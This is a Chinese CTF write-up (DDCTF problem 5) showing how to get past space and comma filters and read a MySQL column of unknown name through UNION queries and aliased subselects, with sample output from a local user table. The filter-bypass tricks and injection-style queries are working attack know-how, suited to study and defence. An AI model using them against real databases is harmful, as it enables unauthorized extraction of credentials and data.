• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    Mysql如何巧妙的绕过未知字段名详解

    前言

    本文介绍的是DDCTF第五题,绕过未知字段名的技巧,这里拿本机来操作了下,思路很棒也很清晰,分享给大家,下面来看看详细的介绍:

    实现思路

    题目过滤空格和逗号,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括号都可以绕过,逗号使用join绕过;

    存放flag的字段名未知,information_schema.columns也将表名的hex过滤了,即获取不到字段名;这时可以利用联合查询,过程如下:

    思想就是获取flag,让其在已知字段名下出现;

    示例代码:

    mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
    +---+---+---+---+
    | a | b | c | d |
    +---+---+---+---+
    | 1 | 2 | 3 | 4 |
    +---+---+---+---+
    1 row in set (0.00 sec)
     
    mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
    +---+---+---+---+
    | 1 | 2 | 3 | 4 |
    +---+---+---+---+
    | 1 | 2 | 3 | 4 |
    +---+---+---+---+
    1 row in set (0.00 sec)
     
    mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
    +---+-------+----------+-------------+
    | 1 | 2  | 3  | 4   |
    +---+-------+----------+-------------+
    | 1 | 2  | 3  | 4   |
    | 1 | admin | admin888 | 110@110.com |
    | 2 | test | test123 | 119@119.com |
    | 3 | cs | cs123 | 120@120.com |
    +---+-------+----------+-------------+
    4 rows in set (0.01 sec)
     
    mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
    +-------------+
    | 4   |
    +-------------+
    | 4   |
    | 110@110.com |
    | 119@119.com |
    | 120@120.com |
    +-------------+
    4 rows in set (0.03 sec)
     
    mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
     
    +-------------+
    | 4   |
    +-------------+
    | 120@120.com |
    +-------------+
    1 row in set (0.01 sec)
     
    mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
    union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
    +-------------+----------+----------+-------------+
    | id   | username | password | email  |
    +-------------+----------+----------+-------------+
    | 1   | admin | admin888 | 110@110.com |
    | 120@120.com | 1  | 1  | 1   |
    +-------------+----------+----------+-------------+
    2 rows in set (0.04 sec)

    总结

    以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作能带来一定的帮助,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

    您可能感兴趣的文章:
    • 防止xss和sql注入:JS特殊字符过滤正则
    • 一个过滤重复数据的 SQL 语句
    • MySQL注入绕开过滤的技巧总结
    • SQL注入中绕过 单引号 限制继续注入
    • SQL注入绕过的技巧总结
    • 多列复合索引的使用 绕过微软sql server的一个缺陷
    • 关于SQL注入绕过的一些知识点
    • SQL Server简单模式下误删除堆表记录恢复方法(绕过页眉校验)
    • SQL注入技巧之显注与盲注中过滤逗号绕过详析
    上一篇:SQL计算timestamp的差值的方法
    下一篇:mysql 触发器用法实例详解
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    Mysql如何巧妙的绕过未知字段名详解 Mysql,如何,巧妙,的,绕过,